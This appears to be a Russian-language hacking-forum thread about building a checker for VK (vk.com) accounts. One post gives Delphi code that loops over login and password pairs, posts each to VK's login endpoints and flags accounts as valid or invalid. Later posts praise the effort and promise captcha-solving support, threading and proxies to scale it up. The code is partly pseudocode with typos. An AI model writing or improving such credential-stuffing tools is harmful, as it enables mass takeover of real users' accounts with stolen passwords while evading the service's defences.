ыыы. хера тут писать? незнаю какой яп у тс, влом смотреть, но для делфи примерно так: Code: for i:=0 to form1.memo1.coint-1 do begin if logvk='ok' then акк валидный! else невалидный! end; procedure logvk; begin get := Tstringlist.Create; post := Tstringlist.Create; post.add ('op=a_login_attempt'); try c:=http.post ('http://vk.com/login.php', post); except end; post.Clear; post.add ('email=' + log); post.add ('pass=' + pas); post.add ('expire='); post.add ('vk=1'); try s := http.post ('http://login.vk.com/?act=login', post); except end; post.Clear; s2:=copy(s, pos('value=''',s)+7, 56); if length(s2)=0 then begin result:='nook'; exit; end else begin result:='ok'; end; end;
а я бы наоборот похвалил тс за стремления к знаниям. всё-таки юзать готовое любой школьник сможет, а вот самом написать чекер, пусть даже такой, сможет далеко не каждый школьник ТС, не сдавайся!
писать поддержку АС - громско сказано. просто тупо скопипастить исходники с их сайта и слегка подработать напильником пиши, этот опыт тебе пригодится
Ну значит сделал поддержку АС как обещал , больше не успел так как сеня Днюха, за ночь сделаю либо потоки либо прокси ,смаря как сложатся обстоятельства Опыта работы с АС у меня больше чем )
А это как вы выразились не "понт" , а ответ Не в обиду Насчет потоков к Утру будет штук 15 (10 точно ))
